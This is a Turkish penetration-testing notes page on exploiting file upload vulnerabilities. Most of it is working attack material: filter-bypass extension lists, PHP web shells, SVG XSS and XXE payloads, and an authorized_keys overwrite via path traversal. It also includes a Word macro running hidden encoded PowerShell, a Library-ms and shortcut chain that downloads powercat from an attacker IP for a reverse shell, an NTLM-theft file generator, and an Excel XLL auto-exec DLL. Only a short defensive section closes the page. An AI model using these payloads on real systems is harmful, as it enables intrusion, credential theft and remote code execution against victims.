🖥️
Siber Güvenlik Notları
  • WHOAMI
    • 👨‍💻Who Am I?
  • 🔭Information Gathering
    • Pentest VM Setup
    • Passive Information Gathering
    • Subdomain Enumeration
    • Host Discovery
    • Port Scanning
    • Email Enumeration
    • Leaked Passwords
    • Zafiyet Araştırma
  • 🪟Windows Pentesting
    • Windows Privilege Escalation
    • Windows Persistence
    • Windows Lateral Movement
    • AV Evasion
  • 🐧Linux Pentesting
    • Linux Privilege Escalation
    • Linux Persistence
    • Linux Lateral Movement
  • 🕸️Web Application Pentesting
    • Web Pentest Checklist
    • SQL Injection
    • NoSQL Injection
    • OS Command Injection
    • XXE Injection
    • SSTI
    • XSS
    • CSRF
    • SSRF
    • LFI/RFI
    • Insecure Deserialization
    • CORS Misconfiguration
    • Directory Traversal
    • File Upload
    • Broken Authentication
    • Broken Access Control
    • Business Logic
    • Race Conditions
    • Web Cache Deception
    • AWS Testing
    • Web Cache Poisoning
    • Clickjacking
    • API Testing
    • Broken Link Hijacking
    • HTTP Request Smuggling
    • LLM
    • HTTP Host Header Attack
    • OAuth Zafiyetleri
    • GraphQL API
    • HTTP Parameter Pollution
    • Configuration and Deployment Management Testing
    • Information Disclosure
    • Prototype pollution
    • JWT
  • 🖲️Network Service Pentesting
    • 📘Active Directory Services
      • Bleeding Edge Vulns
      • Misconfigs
      • Domain Trust
      • DNS (53)
      • Kerberos (88)
      • LDAP (389,636)
      • RPC WMI (135)
      • SMB (445)
      • WinRM - 5985
    • 📂FTP - 21
    • 🔐SSH - 22
    • 🤣Telnet - 23
    • SMTP - 25
    • TFTP - 69 UDP
    • HTTP - 80,443
      • Apache
      • Joomla
      • Drupal
      • Wordpress
      • WEBDAV
      • PHP
      • Laravel
    • IMAP/POP3 - 110,143,993,995
    • SNMP - 161
    • Rservices - 512
    • IPMI - 623
    • Rsync - 873
    • MSSQL - 1433
    • Oracle TNS - 1521
    • NFS - 2049
    • Docker
    • Grafana - 3000
    • MySQL - 3306
    • RDP - 3389
    • Postgresql - 5432
    • Redis - 6379
    • JDWP - 8000
    • MongoDB - 27017
  • 🕸️Network Pentesting
    • ARP Poisoning
  • 📞Android Pentesting
    • Android Derleme Süreci
    • Reversing
    • Rooting
    • Burp Suite Sertifikası
    • SSL Pinning Bypass
    • Patching
    • MobSF Kurulumu
    • Flutter Pentesting
  • 📰Teori
    • Güvenlik Ürünleri
    • OSI
    • Security Principles
  • Diger
    • Hacking Gadgets
      • Wifi Pineapple
      • Pwnagotchi
    • Stego
    • Buffer Overflow
    • Phishing
    • Nessus
    • DDOS Attacks
    • MSFConsole
  • ⏪Reverse
    • GCC Reverse
    • Python Reverse
    • Flare VM
    • Remnux
  • 🛜Wireless Pentesting
    • Wireless Pentest
    • Wireless V2
Powered by GitBook
On this page
  • File Upload Nedir?
  • Saldırı Yöntemleri
  • Kontroller
  • Content-Type Koruması
  • Path Traversal
  • Whitelist Atlatma
  • Blacklist Atlatma
  • Magic Number
  • Client-side Koruma Atlatma
  • Polyglot
  • XSS File Upload
  • SVG XXE File Upload
  • Race Condition
  • Payload
  • MD-TO-PDF Exploit
  • SSH Key
  • Word Macro RCE (.doc)
  • Windows Library RCE
  • PHP Control
  • All File Types
  • XLL Reverse Shell
  • Önlemler
  • Araçlar
  • Kaynaklar

Was this helpful?

  1. Web Application Pentesting

File Upload

PreviousDirectory TraversalNextBroken Authentication

Last updated 21 hours ago

Was this helpful?

File Upload Nedir?

  • Dosya yükleme güvenlik açıkları, bir web sunucusunun kullanıcıların dosya adı, türü, içeriği veya boyutu gibi şeyleri yeterince doğrulamadan dosya sistemine dosya yüklemesine izin vermesidir.

  • Bunlarla ilgili kısıtlamaların düzgün bir şekilde uygulanmaması, basit bir resim yükleme işlevinin bile tehlikeli dosyalar yüklemek için kullanılabileceği anlamına gelebilir. Bu, uzaktan kod yürütülmesini sağlayan sunucu tarafı komut dosyalarını bile içerebilir.

Saldırı Yöntemleri

Kontroller

  • İlk adım olarak normal bir dosya yüklemeyi deniyoruz. Eğer bu dosyaya doğrudan erişebiliyorsak bir sonraki adımları deneyebiliriz.

  • Eğer dosya yükleniyorsa ve nereye yüklendiğini bilmiyorsak dizin taraması yapabiliriz.

  • Eğer dosyaya erişebiliyorsak dosyanın uzantısının değişmiyor olması gerekir.

Content-Type Koruması

Eğer dosyanın türü content-type header ile kontrol ediliyorsa php payload gönderip content-type başlığını kabul edilen bir tipe çevirebiliriz.

Content-Type: image/jpeg
Content-Type: image/png

Path Traversal

Sunucu tarafında bir dizindeki hiçbir dosyanın kod çalıştıramaması için bir güvenlik önlemi alınmış olabilir. Eğer path traversal zafiyeti varsa bu dizinin dışına dosyamızı yükleyebiliriz.

../shell.php
../../shell.php

Whitelist Atlatma

Eğer dosya uzantısı kontrolü varsa aşağıdaki payloadlar çalışabilir.

shell.png.php
shell.jpg.php
shell.php%00.jpg

# Bu karakterleri php sonrasına ekleyebiliriz
%20
%0a
%00
%0d0a
/
.\
.
…
:

Blacklist Atlatma

Eğer blacklist kontrolü zayıf ise aşağıdaki uzantılar ile dosya yükleyebiliriz.

shell.php
shell.php2
shell.php3
shell.php4
shell.php5
shell.php6
shell.php7
shell.phar
shell.pHp

Eğer uzantı kontrolü atlatılamıyorsa dizine htaccess dosyası yüklüyoruz ve bu dosyada dizindeki .l33t uzantısına sahip dosyaların php olarak yorumlanmasını sağlıyoruz.

filename=".htaccess"
Content-Type: text/plain

AddType application/x-httpd-php .l33t
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!--
<%
Response.write("-"&"->")
Response.write(1+2)
Response.write("<!-"&"-")
%>
-->

Magic Number

hexedit shell.php

FFD8FFE000104A4649460001 # JPEG 12 karakter
89504E470D0A1A0A # PNG 8 karakter

Client-side Koruma Atlatma

Eğer kontroller front-end tarafında yapılıyorsa burp ile araya girip kontrolün yapıldığı satırı silebiliriz.

Polyglot

Eğer yanıtta dosyanın metadatasını görebiliyorsak yorum bölümüne bir php kodu yazabiliriz.

exiftool -Comment="<?php echo 'START ' . file_get_contents('/etc/passwd') . ' END'; ?>" shell.jpg -o shell.php

XSS File Upload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
    <rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
    <script type="text/javascript">alert(window.origin);</script>
</svg>

SVG XXE File Upload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>

Race Condition

Eğer yüklediğimiz dosya kontrol edilmeden önce sunucuya yükleniyorsa ve sonradan siliniyorsa dosyayı yükleme ve okuma işlemini ard arda yapmayı deneyebiliriz.

Turbo intruder veya grup haline paralel göndermeyi deneyebiliriz.

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)

    request1 = '''<YOUR-POST-REQUEST>'''

    request2 = '''<YOUR-GET-REQUEST>'''

    engine.queue(request1, gate='race1')
    for x in range(5):
        engine.queue(request2, gate='race1')

    engine.openGate('race1')

    engine.complete(timeout=60)


def handleResponse(req, interesting):
    table.add(req)

Payload

<?php phpinfo(); ?>

<?php echo exec('whoami'); ?>
<?php echo system($_GET['cmd']); ?>

<?php echo file_get_contents('/etc/passwd'); ?>
<?php echo file_get_contents('C:/windows/system32/drivers/etc/hosts'); ?>

MD-TO-PDF Exploit

---js
((require("child_process")).execSync("whoami"))
---RCE

SSH Key

Eğer sadece dosya oluşturabiliyorsak fakat görüntüleyemiyor isek kendi public keyimizi karşıya yükleyebiliriz.

ssh-keygen
cat /root/.ssh/id_rsa.pub
rm /root/.ssh/known_hosts

uploadFile=../../../../../../root/.ssh/authorized_keys
ssh root@example.com -i /root/.ssh/id_rsa

Word Macro RCE (.doc)

Sub AutoOpen()
    MyMacro
End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub MyMacro()
    Dim Str As String
    
    Str = Str + "powershell.exe -nop -w hidden -enc SQBFAFgAKABOAGU"
        Str = Str + "AdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAd"
        Str = Str + "AAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwB"
        Str = Str + "QBjACAAMQA5ADIALgAxADYAOAAuADEAMQA4AC4AMgAgAC0AcAA"
        Str = Str + "gADQANAA0ADQAIAAtAGUAIABwAG8AdwBlAHIAcwBoAGUAbABsA"
        Str = Str + "A== "

    CreateObject("Wscript.Shell").Run Str
End Sub

Windows Library RCE

Bu dosyayı windowsta oluşturuyoruz.

  • config.Library-ms

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://192.168.119.2</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>

Sonrasında bu komut ile bir webdav server açıyoruz.

cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .
wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root ./

Aşağıdaki komutun olduğu bir shortcut oluşturuyoruz. Bu iki dosyayı library ms dosyasını kullanarak kendimize atıyoruz.

  • install.shortcut

powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.181/powercat.ps1');powercat -c 192.168.45.181 -p 1234 -e powershell"

Bir kurbana config.Library-ms dosyasını atıyoruz. Eğer oraya tıklarsa bizim shortcut olan dosyamızı görecek ona da tıklarsa shell gelir.

PHP Control

Eğer bir file upload bulduysak hangi php fonksiyonu ile komut çalıştırabileceğimizi önerir.

python2 dfunc-bypasser.py --url https://example.com/phpinfo.php

All File Types

git clone https://github.com/Greenwolf/ntlm_theft
cd ./ntlm_theft
python3 ntlm_theft.py --generate all --server 10.10.14.67 --filename htb

XLL Reverse Shell

x86_64-w64-mingw32-gcc -fPIC -shared reverse.c -o reverse.xll -luser32
#include <Windows.h>

__declspec(dllexport) void __cdecl xlAutoOpen(void); 

void __cdecl xlAutoOpen() {
    // Triggers when Excel opens
    WinExec("cmd.exe /c notepad.exe", 1);
}

BOOL APIENTRY DllMain( HMODULE hModule,
                    DWORD  ul_reason_for_call,
                    LPVOID lpReserved
                    )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
#include <windows.h>

__declspec(dllexport) void __cdecl xlAutoOpen(void); 

void __cdecl xlAutoOpen() {
    // Triggers when Excel opens
    WinExec("cmd.exe /c notepad.exe", 1);
}

BOOL APIENTRY DllMain( HMODULE hModule,
                    DWORD  ul_reason_for_call,
                    LPVOID lpReserved
                    )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Önlemler

  • Dosya uzantısını, yasaklanmış uzantılardan oluşan bir blacklist yerine izin verilen uzantılardan oluşan bir whitelist'e göre kontrol edin. Hangi uzantılara izin vermek isteyebileceğinizi tahmin etmek, bir saldırganın hangilerini yüklemeye çalışabileceğini tahmin etmekten çok daha kolaydır.

  • Dosya adının bir dizin veya geçiş dizisi (../) olarak yorumlanabilecek herhangi bir alt dize içermediğinden emin olun.

  • Mevcut dosyaların üzerine yazılmasını önlemek için yüklenen dosyaları yeniden adlandırın.

  • Tam olarak doğrulanana kadar dosyaları sunucunun kalıcı dosya sistemine yüklemeyin.

  • Mümkün olduğunca, kendi doğrulama mekanizmalarınızı yazmaya çalışmak yerine dosya yüklemelerini önceden işlemek için bir framework kullanın.

Araçlar

Kaynaklar

File Signatures:

Powny-shell:

Upload Scanner:

Portswigger Academy:

🕸️
https://en.wikipedia.org/wiki/List_of_file_signatures
https://github.com/flozz/p0wny-shell
https://github.com/PortSwigger/upload-scanner
https://portswigger.net/web-security/file-upload